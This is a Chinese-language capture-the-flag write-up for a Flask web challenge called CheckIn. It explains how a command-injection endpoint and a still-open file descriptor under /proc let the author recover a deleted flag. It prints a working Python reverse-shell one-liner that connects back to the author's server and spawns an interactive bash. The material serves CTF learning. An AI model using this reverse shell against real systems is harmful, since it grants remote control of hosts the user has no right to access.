[V&N公开赛] CheckIn

V&N战队考核+招新,赵师傅出的Web题,做着感觉有点顶,趁热打铁写write up记录一下考察的知识点

这道题说是CheckIn其实还是有一定难度的(也可能是我太菜了),进入题目直接给出了flask的路由:

 from flask import Flask, request
 import os
 app = Flask(__name__)
 
 flag_file = open("flag.txt", "r")
 # flag = flag_file.read()
 # flag_file.close()
 #
 # @app.route('/flag')
 # def flag():
 #     return flag
 ## want flag? naive!
 
 # You will never find the thing you want:) I think
 @app.route('/shell')
 def shell():
     os.system("rm -f flag.txt")
     exec_cmd = request.args.get('c')
     os.system(exec_cmd)
     return "1"
 
 @app.route('/')
 def source():
     return open("app.py","r").read()
 
 if __name__ == "__main__":
     app.run(host='0.0.0.0')

可以看到flask是包含“/”与“/shell”两个页面的,其中Flag储存在flag.txt中,"/shell?c=$command"是可以执行代码的

但是一旦访问/shell 代码又会“rm -f flag.txt”删除flag.txt,导致我们无法直接cat /flag.txt(其实这里就算不删文件也不能直接cat,因为这里是没有回显的)

这里引出我们的第一个知识点:文件描述符

什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。

例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。

文件描述符储存在什么地方:/proc/<pid>/fd<id>

也就是说,我们可以通过cat进程中的fd来获取到文件描述符。

重新回到题目,重点关注题目第5行代码:

flag_file = open("flag.txt", "r")

这里使用open()打开flag.txt是优先于删除flag.txt的,也就是说在flag.txt被删除前已经建立了文件描述符,我们通过读取这个文件描述符的内容就可以获得Flag。

但是对"/shell?c=$command"进行测试后发现这里是没有回显的,所以此时想到的办法就是我们的第二个点:反弹Shell

建立反弹Shell常见的命令有bash、curl、nc、python -c等,但是这里测试后发现这些常用的命令都被禁了,无法反弹Shell

最后想到了python3 -c “command”执行命令,测试后发现python3可以执行,直接构造Shell:

python3 -c 
'
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("39.105.*.*",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'

带到参数c中请求,在我们的服务器上便可以得到一个交互式的Shell

然后cd进/proc目录,依次cd进<pid>(就是那些数字)目录中,使用ls fd得到id

依次尝试cat fd/0...直到得到Flag

猜你喜欢

转载自www.cnblogs.com/yesec/p/12387671.html